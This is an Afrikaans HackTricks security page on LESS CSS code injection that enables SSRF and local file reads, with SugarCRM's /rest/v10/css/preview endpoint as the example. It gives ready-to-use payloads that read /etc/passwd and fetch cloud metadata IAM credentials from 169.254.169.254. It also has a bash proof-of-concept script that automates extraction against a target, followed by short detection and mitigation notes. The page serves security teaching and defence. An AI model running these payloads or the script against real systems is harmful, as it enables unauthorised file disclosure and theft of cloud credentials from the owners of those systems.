LESS Code Injection wat lei tot SSRF & Plaaslike Lêer Lees

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Oorsig

LESS is 'n gewilde CSS voorverwerker wat veranderlikes, mixins, funksies en die kragtige @import riglyn byvoeg. Tydens kompilasie sal die LESS enjin die hulpbronne wat in @import verklarings verwys word, opsoek en ("inline") hul inhoud in die resulterende CSS inkorporeer wanneer die (inline) opsie gebruik word.

Wanneer 'n aansoek gebruikersbeheerde invoer in 'n string saamvoeg wat later deur die LESS kompilator geanaliseer word, kan 'n aanvaller arbitraire LESS kode inspuit. Deur @import (inline) te misbruik, kan die aanvaller die bediener dwing om te verkry:

  • Plaaslike lêers via die file:// protokol (inligtingsontsluiting / Plaaslike Lêer Insluiting).
  • Afgeleë hulpbronne op interne netwerke of wolk metadata dienste (SSRF).

Hierdie tegniek is gesien in werklike produkte soos SugarCRM ≤ 14.0.0 (/rest/v10/css/preview eindpunt).

Exploitatie

  1. Identifiseer 'n parameter wat direk in 'n stylesheets string wat deur die LESS enjin verwerk word, ingesluit is (bv. ?lm= in SugarCRM).
  2. Sluit die huidige verklaring en inspuit nuwe riglyne. Die mees algemene primitiewe is:
  • ; – beëindig die vorige verklaring.
  • } – sluit die vorige blok (indien nodig).
  1. Gebruik @import (inline) '<URL>'; om arbitraire hulpbronne te lees.
  2. Opsioneel, inspuit 'n merk (data: URI) na die invoer om die ekstraksie van die verkregen inhoud uit die gecompileerde CSS te vergemaklik.

Plaaslike Lêer Lees

1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //

Die inhoud van /etc/passwd sal in die HTTP-respons verskyn net voor die @@END@@ merk.

SSRF – Wolk Metadata

1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //

Geoutomatiseerde PoC (SugarCRM voorbeeld)

bash
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd

TARGET="$1"        # Base URL of SugarCRM instance
RESOURCE="$2"      # file:// path or URL to fetch

INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")

curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'

Detectie

  • Soek vir dinamies gegenereerde .less of .css antwoorde wat onsanitized query parameters bevat.
  • Tydens kode-oorsig, soek vir konstruksies soos "@media all { .preview { ... ${userInput} ... } }" wat aan LESS render funksies oorgedra word.
  • Exploit pogings sluit dikwels @import, (inline), file://, http://169.254.169.254, ens. in.

Mitigasies

  • Moet nie onbetroubare data aan die LESS-compiler oorgedra nie.
  • As dinamiese waardes benodig word, escape/sanitiseer hulle behoorlik (bv., beperk tot numeriese tokens, whitelists).
  • Deaktiveer, wanneer moontlik, die vermoë om (inline) imports te gebruik, of beperk toegelate protokolle tot https.
  • Hou afhanklikhede op datum – SugarCRM het hierdie probleem in weergawes 13.0.4 en 14.0.1 reggestel.

Werklike Gevalle

ProdukKwetsbare EindpuntImpak
SugarCRM ≤ 14.0.0/rest/v10/css/preview?lm=Ongeauthentiseerde SSRF & plaaslike lêer lees

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks